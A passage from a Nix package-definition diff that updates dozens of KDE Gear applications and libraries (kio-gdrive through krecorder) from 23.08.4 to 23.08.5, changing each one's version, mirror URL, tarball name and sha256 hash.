"${mirror}/stable/release-service/23.08.4/src/kio-gdrive-23.08.4.tar.xz"; - sha256 = "17ihwp04ips0gyvvwyhkwilad47c2qxkik5bsi6gxafh8f0jb0d8"; - name = "kio-gdrive-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kio-gdrive-23.08.5.tar.xz"; + sha256 = "19pdspi0ysx9589zqrdlkj3hly9rxl80pgqvas1iwhw4aahkx66m"; + name = "kio-gdrive-23.08.5.tar.xz"; }; }; kio-zeroconf = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kio-zeroconf-23.08.4.tar.xz"; - sha256 = "1p2h6v9ymcdc0szb0cy35c6jwp71arr4h8b8mr5hdwgyrg0zrfa9"; - name = "kio-zeroconf-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kio-zeroconf-23.08.5.tar.xz"; + sha256 = "0d0an6i63gkrr2gxpi6xdzdpzwav9wvghcy299dc1xqipdk939h9"; + name = "kio-zeroconf-23.08.5.tar.xz"; }; }; kipi-plugins = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kipi-plugins-23.08.4.tar.xz"; - sha256 = "12mzclfmi4vj5rl39dmj6qqp1g3008kpn1vr8f0qsyphjpr82syv"; - name = "kipi-plugins-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kipi-plugins-23.08.5.tar.xz"; + sha256 = "0sjkxsaxhns0d21n36zlzhxzysr3y3675z9vbc4ji10gjlskxq10"; + name = "kipi-plugins-23.08.5.tar.xz"; }; }; kirigami-gallery = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kirigami-gallery-23.08.4.tar.xz"; - sha256 = "0fxw9c0543qxqsaibkxjmhsgvyhny6yy5krbfk73fs6a7klvbqma"; - name = "kirigami-gallery-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kirigami-gallery-23.08.5.tar.xz"; + sha256 = "0my44hmjgn551bm1j3ij6dynmxag7pxlkxvvvdizr1imcd0p1qy4"; + name = "kirigami-gallery-23.08.5.tar.xz"; }; }; kiriki = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kiriki-23.08.4.tar.xz"; - sha256 = "1rh4ypql69rgwj7cn166qgr5irp8mdm7757r08gi065kz0lxhfgw"; - name = "kiriki-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kiriki-23.08.5.tar.xz"; + sha256 = "1mnyd9w5cf0sm4m8fg6fhg1cxrwmhmbjhn2k8h7zxp1k80k4gcy6"; + name = "kiriki-23.08.5.tar.xz"; }; }; kiten = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kiten-23.08.4.tar.xz"; - sha256 = "142rmapzybmzqmnx6j4j8vgxmzs8y00rp18ax7s8kfs7gn03ad39"; - name = "kiten-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kiten-23.08.5.tar.xz"; + sha256 = "0fk264sm6yfiwikrjpva8ybxh2bnwh42mqsyryng76vwxdmm3s0y"; + name = "kiten-23.08.5.tar.xz"; }; }; kitinerary = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kitinerary-23.08.4.tar.xz"; - sha256 = "090q9mlf7i8ydi458gvbgvmxm77ys97az7lknl16pz4gfmf0ld71"; - name = "kitinerary-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kitinerary-23.08.5.tar.xz"; + sha256 = "1a3qw7s5qwd4x4f4phxwis0y13yf5j463wjai2awr641zq121gdf"; + name = "kitinerary-23.08.5.tar.xz"; }; }; kjournald = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kjournald-23.08.4.tar.xz"; - sha256 = "0b1gv5yypkk3vhgvw2g4clk8mipz3bv5pdnqidzjwhl5z2lisgzl"; - name = "kjournald-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kjournald-23.08.5.tar.xz"; + sha256 = "1l7d4zqsxak2c2yvsqx1x1mw8b6sxx54svg0lxznjrk4va1h55zp"; + name = "kjournald-23.08.5.tar.xz"; }; }; kjumpingcube = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kjumpingcube-23.08.4.tar.xz"; - sha256 = "17km7y89b637f7r9g90a684fsc4lsdnwqm7m3w6qy89h3r74kd2x"; - name = "kjumpingcube-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kjumpingcube-23.08.5.tar.xz"; + sha256 = "0w4wsc1n6qlz8m3kjdqbjw6ccfqzc3fpa2n11k5vhb1vysxa3vld"; + name = "kjumpingcube-23.08.5.tar.xz"; }; }; kldap = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kldap-23.08.4.tar.xz"; - sha256 = "0gh5sg11qcg40wns7i3g7bwwdkmqzb1kqrfrgdg08j7vqjwhwj30"; - name = "kldap-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kldap-23.08.5.tar.xz"; + sha256 = "1gkc31028fqdvf5yf7nwhyqii1zy3sxggnid74xxwfknr0pxqacx"; + name = "kldap-23.08.5.tar.xz"; }; }; kleopatra = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kleopatra-23.08.4.tar.xz"; - sha256 = "0mwicqry4h3q2bq138flxag5x5l8qpwlbg97jifjc32yqlxpg3jm"; - name = "kleopatra-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kleopatra-23.08.5.tar.xz"; + sha256 = "19pivdjnq6b0m79gy4mfqyrl604mnlhd41c3zr432xnkkrcidi59"; + name = "kleopatra-23.08.5.tar.xz"; }; }; klettres = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/klettres-23.08.4.tar.xz"; - sha256 = "16304hdzz78nyqqpcq3sf4f6wlk26imffag17cap3fs9l0qpq5pn"; - name = "klettres-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/klettres-23.08.5.tar.xz"; + sha256 = "0zl1r4b84a5yq593lbla6wfw823l1qnqg9zxpzip10vrzji2gjga"; + name = "klettres-23.08.5.tar.xz"; }; }; klickety = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/klickety-23.08.4.tar.xz"; - sha256 = "0vhf069mlv6xkdzyj4dp251k0rinslaai6kkm7kjim0dal7ykk37"; - name = "klickety-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/klickety-23.08.5.tar.xz"; + sha256 = "11wir03ci5x4s2m4j14qbmid5m9grgd4n7zqrvjrsr9mipbm5p39"; + name = "klickety-23.08.5.tar.xz"; }; }; klines = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/klines-23.08.4.tar.xz"; - sha256 = "0f2a8vgnpg2mf9hc4gbz4ld5lw5jwbw1vyais6c9djykp552rjx9"; - name = "klines-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/klines-23.08.5.tar.xz"; + sha256 = "07ipifmjpfszifi8jy8g1rmbi0jx4l4jqf81wvhv80llbna48ypx"; + name = "klines-23.08.5.tar.xz"; }; }; kmag = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kmag-23.08.4.tar.xz"; - sha256 = "12djnbl0l9z2vilndchx4z4mznrkwqvjdlgdj2gynj2wa08flprd"; - name = "kmag-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kmag-23.08.5.tar.xz"; + sha256 = "1jaf97dyc8lcdmmlva11ivkylkcpbim48lrrm08cvsvs3iw66vr5"; + name = "kmag-23.08.5.tar.xz"; }; }; kmahjongg = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kmahjongg-23.08.4.tar.xz"; - sha256 = "17gnl34x5dq8lqws19m2cqf7k3sc8hs3290pnjmnxcgb29fy0mv0"; - name = "kmahjongg-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kmahjongg-23.08.5.tar.xz"; + sha256 = "0id838z75xppc7lwg94w1a7xy5jzy331xz2x80nsdn425fhgyhw7"; + name = "kmahjongg-23.08.5.tar.xz"; }; }; kmail = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kmail-23.08.4.tar.xz"; - sha256 = "10p5diprnhmgji4k9vm4bfhvjllah75j728cljvacdbmcqw879jv"; - name = "kmail-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kmail-23.08.5.tar.xz"; + sha256 = "0mdp5ax7215x3mfi90cspp181l1cmhdwlhpijcnqq842gdjaqf3i"; + name = "kmail-23.08.5.tar.xz"; }; }; kmail-account-wizard = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kmail-account-wizard-23.08.4.tar.xz"; - sha256 = "05n1c0piblrr3032hpy4zcqw3kkp4shy08qbq3rw1kdzaibmc86a"; - name = "kmail-account-wizard-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kmail-account-wizard-23.08.5.tar.xz"; + sha256 = "1fjxzyg8sb16kd85nqrw6xql143mmm4wz463flc0hsjdpcnfb297"; + name = "kmail-account-wizard-23.08.5.tar.xz"; }; }; kmailtransport = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kmailtransport-23.08.4.tar.xz"; - sha256 = "18kkm56q336hh0j0lfnk871bzjsjfii0r69v9b6gsh1nni2lygks"; - name = "kmailtransport-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kmailtransport-23.08.5.tar.xz"; + sha256 = "05f4kp4rwb4lk82av4aqzllbcizam25994wsvyxcpddfv37jpd63"; + name = "kmailtransport-23.08.5.tar.xz"; }; }; kmbox = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kmbox-23.08.4.tar.xz"; - sha256 = "1n9243aw9wvg1zr89djk98k14pik1h0z182jksb8mw8vv7xqqafm"; - name = "kmbox-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kmbox-23.08.5.tar.xz"; + sha256 = "007lrmzbm44mrp46n7j510hqgg9wq947g0b7zbxfp5dr1rxvi0z5"; + name = "kmbox-23.08.5.tar.xz"; }; }; kmime = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kmime-23.08.4.tar.xz"; - sha256 = "04qgr8lws48m56lffbdqxkas7p97jm9scq2ccdksrq05dh6jl5hd"; - name = "kmime-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kmime-23.08.5.tar.xz"; + sha256 = "1nizvbjn3prbcgzgg03vfgffpjqmpxy7pqvxzjs8yfmz79rlx2dn"; + name = "kmime-23.08.5.tar.xz"; }; }; kmines = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kmines-23.08.4.tar.xz"; - sha256 = "0wym7v9cmd4y2z3i7rqwvvpcm1hdkwi8rqwzhqcmh5i3xk3j5pmv"; - name = "kmines-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kmines-23.08.5.tar.xz"; + sha256 = "0lwkiq5vcw10h8lvqsb4jri8pghdsp3b8jp4c5ihwawjzwl29cyb"; + name = "kmines-23.08.5.tar.xz"; }; }; kmix = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kmix-23.08.4.tar.xz"; - sha256 = "0i2ywcipcprxmi23f501jjzic00nri0ss20dfcicgf0bpc8ybh71"; - name = "kmix-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kmix-23.08.5.tar.xz"; + sha256 = "10415kj94d63fpx2i5xhbrj93i4d91hn8d1bbj484375vflsqwc6"; + name = "kmix-23.08.5.tar.xz"; }; }; kmousetool = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kmousetool-23.08.4.tar.xz"; - sha256 = "12i73smzx3kjj75hza424cr5nnq80xvgfv2kwmf32a3k9436jx15"; - name = "kmousetool-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kmousetool-23.08.5.tar.xz"; + sha256 = "01wmhd0kb0xbyg5lr0vbj8nrk1ri5nllq5fd9pyq9whxvsar4fyz"; + name = "kmousetool-23.08.5.tar.xz"; }; }; kmouth = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kmouth-23.08.4.tar.xz"; - sha256 = "08f1yb7m3c3pyp6glwwg9lya3a6j30wvxga2j2ik9hwfs9jx5x9j"; - name = "kmouth-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kmouth-23.08.5.tar.xz"; + sha256 = "15sa5q37fd9228m78d7w7xdfsy18hyd43snvrngiiw4317x9km4n"; + name = "kmouth-23.08.5.tar.xz"; }; }; kmplot = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kmplot-23.08.4.tar.xz"; - sha256 = "1zmxaahpj6k5fk5fzrxqzrkki080mkxgz2a73ajsfjs387qvxg92"; - name = "kmplot-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kmplot-23.08.5.tar.xz"; + sha256 = "05rdpjc7hlwkh2klhvybjjq73g15apysk31wph2pljg46mwh9sc4"; + name = "kmplot-23.08.5.tar.xz"; }; }; knavalbattle = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/knavalbattle-23.08.4.tar.xz"; - sha256 = "106hjf4ji4c9gvly916dbslvpxgc04qwp403srknqgrbx8ixsacg"; - name = "knavalbattle-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/knavalbattle-23.08.5.tar.xz"; + sha256 = "09s7lax3yd4vx6rp29540vzy555b2yp1m7lq5pd8ighiww78pznb"; + name = "knavalbattle-23.08.5.tar.xz"; }; }; knetwalk = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/knetwalk-23.08.4.tar.xz"; - sha256 = "1vk1z9jk77qn8abckdj3mv3a4xyaz9r44b5hxzsf79870p4ss2ix"; - name = "knetwalk-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/knetwalk-23.08.5.tar.xz"; + sha256 = "0d47650cc4cabycilhbc6zbrbbbsn4awiswsk91lzkp47jpvjfqb"; + name = "knetwalk-23.08.5.tar.xz"; }; }; knights = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/knights-23.08.4.tar.xz"; - sha256 = "08flarcc72hrv59ahiwh6c9cfyrjr1lhk42xv0arnvf87w0a6dr9"; - name = "knights-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/knights-23.08.5.tar.xz"; + sha256 = "10xy3cr2z10l6zp2fp5kv8s94wbizz39afcg2i7n30w1r9pj6csn"; + name = "knights-23.08.5.tar.xz"; }; }; knotes = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/knotes-23.08.4.tar.xz"; - sha256 = "1xm9sjm0kqsyj8ah3mhb66hb80icfs45byz0lvbw7idridv22bpd"; - name = "knotes-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/knotes-23.08.5.tar.xz"; + sha256 = "1bh2f10z2djvf77rsdlrwg0s4crkirjqaw0cwjapv2d2y03blgx6"; + name = "knotes-23.08.5.tar.xz"; }; }; koko = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/koko-23.08.4.tar.xz"; - sha256 = "12inpjdbf4xa569wb4rc0qckkm6g2wy3ggls2wdf2pr3k36yhx9m"; - name = "koko-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/koko-23.08.5.tar.xz"; + sha256 = "0drs0yj7r5qm762x2y5ixczvcnlk8gy7qsh3h88k0cb95wxgz7dq"; + name = "koko-23.08.5.tar.xz"; }; }; kolf = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kolf-23.08.4.tar.xz"; - sha256 = "0mxs7vif7zwgbmrm3h20km9pf2cl129zbc4fvxzkwvksa982b92w"; - name = "kolf-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kolf-23.08.5.tar.xz"; + sha256 = "1cfmdbplhabaz62zs0jrf0p146rm688riiapckg19mcqzcvqq8cq"; + name = "kolf-23.08.5.tar.xz"; }; }; kollision = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kollision-23.08.4.tar.xz"; - sha256 = "1ywl689cr0673xs5aflg689k5n9rnmgp0ggwmv56czrm8fkp015a"; - name = "kollision-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kollision-23.08.5.tar.xz"; + sha256 = "15amfmyma1p0gpq0xx3yix6n0wj469gws8pydpynmn75z89r61zz"; + name = "kollision-23.08.5.tar.xz"; }; }; kolourpaint = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kolourpaint-23.08.4.tar.xz"; - sha256 = "1rpq355q2ghhxx3hvqqygr92vwlrm5vcpgvl422xr456ljn7jarc"; - name = "kolourpaint-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kolourpaint-23.08.5.tar.xz"; + sha256 = "1kjaxab9iasszgn7zfq5lhb2nkxrkd42x16y6pqs9ar4ixc6nbwl"; + name = "kolourpaint-23.08.5.tar.xz"; }; }; kompare = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kompare-23.08.4.tar.xz"; - sha256 = "14rwav520s95zf83jaa1xqbskaj74pqx7di8i5f36fw0ap5llgvr"; - name = "kompare-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kompare-23.08.5.tar.xz"; + sha256 = "0yajvzm98rqs214lp2rfrzz925ddgqgjmdxq7zm74qarixq3kyic"; + name = "kompare-23.08.5.tar.xz"; }; }; kongress = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kongress-23.08.4.tar.xz"; - sha256 = "03qn8cqnsm6267p5yk86z22k6j2mwdnf31v93v6x496yfmhg89xa"; - name = "kongress-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kongress-23.08.5.tar.xz"; + sha256 = "04mb4siivza5gjcyb68cv34vlkd9xsk79nv0z6g7f2l7ir7q9l42"; + name = "kongress-23.08.5.tar.xz"; }; }; konqueror = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/konqueror-23.08.4.tar.xz"; - sha256 = "1bz6v320kwv9sz86zv1icqi6la4pml79mq0hya43x0i709nqdrli"; - name = "konqueror-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/konqueror-23.08.5.tar.xz"; + sha256 = "1yhc6yyw8549qmask70rqja1p70wcwbkg8hiln16bxsb6ngl9aw4"; + name = "konqueror-23.08.5.tar.xz"; }; }; konquest = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/konquest-23.08.4.tar.xz"; - sha256 = "08wal5q84nbdlnb7f850bkfypk09dbw467416038p340fnjyvxzq"; - name = "konquest-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/konquest-23.08.5.tar.xz"; + sha256 = "0c04lzmacmx5ch5awsxn2wx0vyv632qazypak0vp45jm885fg059"; + name = "konquest-23.08.5.tar.xz"; }; }; konsole = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/konsole-23.08.4.tar.xz"; - sha256 = "1dwg4x8xmzy5kh4szzl814hgjpvn4vi6pwfz1abmnqa9qz85n2vc"; - name = "konsole-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/konsole-23.08.5.tar.xz"; + sha256 = "1jn1c01cc6xsgd5b6c2q0fbr9fdn0nqzfc9fwsy4cyn279sj1yy6"; + name = "konsole-23.08.5.tar.xz"; }; }; kontact = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kontact-23.08.4.tar.xz"; - sha256 = "12bk6rr1lj3b036l341lh5na2cw6r6khd4dq220pyrf1i75fnizp"; - name = "kontact-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kontact-23.08.5.tar.xz"; + sha256 = "1p205y9z0y7khvpbl9lq9yl1z6pvnpl98yj8baj42rfynnvj5sx6"; + name = "kontact-23.08.5.tar.xz"; }; }; kontactinterface = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kontactinterface-23.08.4.tar.xz"; - sha256 = "0ar57i4cdmpqsqsgnpavs3rs4hfj39wnddacvxpcj33ifzq40dln"; - name = "kontactinterface-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kontactinterface-23.08.5.tar.xz"; + sha256 = "1gxjb3g3a2prbiki6f980vm9jdkiicnw138p8clvarw1zqr6vwgd"; + name = "kontactinterface-23.08.5.tar.xz"; }; }; kontrast = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kontrast-23.08.4.tar.xz"; - sha256 = "1c4z9kh38njvb06i47gfyz85hai7kcvfrrz1ab6ipnx73ci2j7fp"; - name = "kontrast-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kontrast-23.08.5.tar.xz"; + sha256 = "1azx1x3136z2qzf3drw52k9l8g8vffc0jx0pvfpqhgkpi471l4vy"; + name = "kontrast-23.08.5.tar.xz"; }; }; konversation = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/konversation-23.08.4.tar.xz"; - sha256 = "1wl7rnipv7spnlkcz5fcc272m5h8q9q0s56ln04wdybvqnwmvk2g"; - name = "konversation-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/konversation-23.08.5.tar.xz"; + sha256 = "1gi57pk10cs8cnaw26xjp8ffyqi77azvns99c5mmk29pfwb6ymv0"; + name = "konversation-23.08.5.tar.xz"; }; }; kopeninghours = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kopeninghours-23.08.4.tar.xz"; - sha256 = "0w6nflzhhasdm2sbgx8nlqp95y1yklwrpvm5q6njivxwfi68abwg"; - name = "kopeninghours-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kopeninghours-23.08.5.tar.xz"; + sha256 = "0ihrjdyxaw5a5wvyjx6n0gl5l37djrqlc30mwaf9ihwrbvvlqb16"; + name = "kopeninghours-23.08.5.tar.xz"; }; }; kopete = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kopete-23.08.4.tar.xz"; - sha256 = "0lp58zribmp6iaia97m6a2p8bizxy1wan7f9k968gpg8ykpv7vhx"; - name = "kopete-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kopete-23.08.5.tar.xz"; + sha256 = "0ccf3flphc1zh59np8y0pl6rvq0ff9qfrqqmaqzfqmn2y02piy0a"; + name = "kopete-23.08.5.tar.xz"; }; }; korganizer = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/korganizer-23.08.4.tar.xz"; - sha256 = "10rbrdv55cjac5hv94k0dp82dnd0176ykw1df4lnzccmk047kxsk"; - name = "korganizer-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/korganizer-23.08.5.tar.xz"; + sha256 = "1hgdrnax7m5ngjh8qcxsxr2aq3cdx56bkzl747byh08klrmbx9n4"; + name = "korganizer-23.08.5.tar.xz"; }; }; kosmindoormap = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kosmindoormap-23.08.4.tar.xz"; - sha256 = "1w7wa0ma8gnyawiaidcwa5hm5zx9pd8vfh18srwb2f1dffx0hzic"; - name = "kosmindoormap-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kosmindoormap-23.08.5.tar.xz"; + sha256 = "00xb91x3d3r3wmlyw83975f4h2igmbybi3ac951jal1nfpix8yv4"; + name = "kosmindoormap-23.08.5.tar.xz"; }; }; kpat = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kpat-23.08.4.tar.xz"; - sha256 = "0r7krvl4cm1vzaprm5vzyw8wx04idqssv6p606avsvp39jcv4g24"; - name = "kpat-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kpat-23.08.5.tar.xz"; + sha256 = "1grilk4jdaygfi63h7km8q1iv82sz2azsmgzbzz67alg4add1k6m"; + name = "kpat-23.08.5.tar.xz"; }; }; kpimtextedit = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kpimtextedit-23.08.4.tar.xz"; - sha256 = "1r8df5qyhq8r30i2p55q8wsm1znnvmzif06axzazxhl2x0n94mfs"; - name = "kpimtextedit-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kpimtextedit-23.08.5.tar.xz"; + sha256 = "1ir7wxlbfmagnnmh15b0k7gqhvlrl2mzmin9nf9c20l21hmrdp2f"; + name = "kpimtextedit-23.08.5.tar.xz"; }; }; kpkpass = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kpkpass-23.08.4.tar.xz"; - sha256 = "17wsgmanim8ab8hya3vihwwry4s6zl6s24mqplhax79jng9lcp52"; - name = "kpkpass-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kpkpass-23.08.5.tar.xz"; + sha256 = "1cfsgky40zszyjbil7xjf12dbg1aymza2db70ghkvjjsp2xn17nn"; + name = "kpkpass-23.08.5.tar.xz"; }; }; kpmcore = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kpmcore-23.08.4.tar.xz"; - sha256 = "0kmnvwilvc3nysi9dywkfkdxxh5fynxm29knxahw1a9xgr4dha6i"; - name = "kpmcore-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kpmcore-23.08.5.tar.xz"; + sha256 = "0yj1hpg53w3rfahhchslhgiw7yakxc99jyf59kzdv4z55mql0jml"; + name = "kpmcore-23.08.5.tar.xz"; }; }; kpublictransport = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kpublictransport-23.08.4.tar.xz"; - sha256 = "178l4skgx44zilpggrlcmn3v8a8bqs9f0j6qmkx4mrif52lvy8w1"; - name = "kpublictransport-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kpublictransport-23.08.5.tar.xz"; + sha256 = "0n2s4l5vrsnmyj0p2icqrjc8qc3g5cm8nkhq4q6k29lbkrpfbxz3"; + name = "kpublictransport-23.08.5.tar.xz"; }; }; kqtquickcharts = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/kqtquickcharts-23.08.4.tar.xz"; - sha256 = "1qfsjc414nxzl3rvzizxxg7kbi16v0mxpabj1sy6scz24x8ff68v"; - name = "kqtquickcharts-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/kqtquickcharts-23.08.5.tar.xz"; + sha256 = "1zikypr3v8kqs2qxc1x09acr25i6blcqfhqlgy65k26gb9qk1xk2"; + name = "kqtquickcharts-23.08.5.tar.xz"; }; }; krdc = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/krdc-23.08.4.tar.xz"; - sha256 = "0ka8m8yz6485vi1sqbr7n5pg67i1csk9yqjvv5fni9g2z5m6ynlq"; - name = "krdc-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/krdc-23.08.5.tar.xz"; + sha256 = "1x2ry209mqazv2l9cx51x86ivpw5wia5cc3cbp7034ianbmprif2"; + name = "krdc-23.08.5.tar.xz"; }; }; krecorder = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = 